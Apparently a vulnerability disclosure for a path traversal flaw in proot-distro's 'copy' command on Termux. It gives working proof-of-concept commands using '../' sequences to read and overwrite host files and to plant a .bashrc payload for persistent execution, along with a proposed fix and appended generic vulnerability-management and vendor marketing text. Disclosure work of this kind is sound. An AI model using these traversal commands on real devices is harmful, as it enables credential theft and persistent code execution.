<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>
Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64
<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" > ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt
proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"
</code></pre>
<p>Observed output:</p>
<pre><code>[] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[] Copying files, this may take a while...
[] Finished copying files.
</code></pre>
<p>Verification:</p>
<pre><code>cat ~/poc/target.txt
→ PWNED_BY_PROOT_DISTRO
</code></pre>
<p>This confirms that the destination resolved to a path outside the container
rootfs and the file was overwritten successfully.</p>
<hr>
<h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3>
<pre><code>echo "TOP_SECRET" > ~/poc/secret.txt
proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt
</code></pre>
<p>Observed output:</p>
<pre><code>[] Source: '/data/data/com.termux/files/home/poc/secret.txt'
[] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'
[] Copying files, this may take a while...
[] Finished copying files.
</code></pre>
<p>Verification:</p>
<pre><code>cat ~/poc/read_result.txt
→ TOP_SECRET
</code></pre>
<p>This confirms that the source path resolved to a file outside the container
rootfs and its contents were successfully copied to a host-side destination.</p>
<hr>
<h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3>
<pre><code>printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc"
</code></pre>
<p>Observed output:</p>
<pre><code>[] Source: '/data/data/com.termux/files/home/poc/payload.sh'
[] Destination: '/data/data/com.termux/files/home/.bashrc'
[] Copying files, this may take a while...
[] Finished copying files.
</code></pre>
<p>Verification before restart:</p>
<pre><code>cat ~/.bashrc
→
echo VULN_TRIGGERED > ~/poc/proof.txt
</code></pre>
<p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and
executed the payload automatically:</p>
<pre><code>cat ~/poc/proof.txt
→ VULN_TRIGGERED
</code></pre>
<p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes
automatically on the next shell launch, resulting in persistent local code
execution within the Termux app context.</p>
<hr>
<h2>Attack Scenario</h2>
<p>The most realistic exploitation path is a confused deputy scenario: a community
script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path
derived from untrusted input. The attacker supplies a crafted container path.
The tool resolves it to a host-side location and reads or writes the file
without any boundary check. The user sees normal command output and no
indication that a file outside the container was touched.</p>
<p>On a real device with SSH keys or stored credentials in the Termux home
directory, the read primitive allows silent credential theft. The write
primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p>
<hr>
<h2>Proposed Fix</h2>
<p>After resolving the container-relative path, verify that the canonical result
remains inside the container rootfs before allowing any read or write operation.
Example mitigation pattern in Python:</p>
<pre><code>import os
def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre> <p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.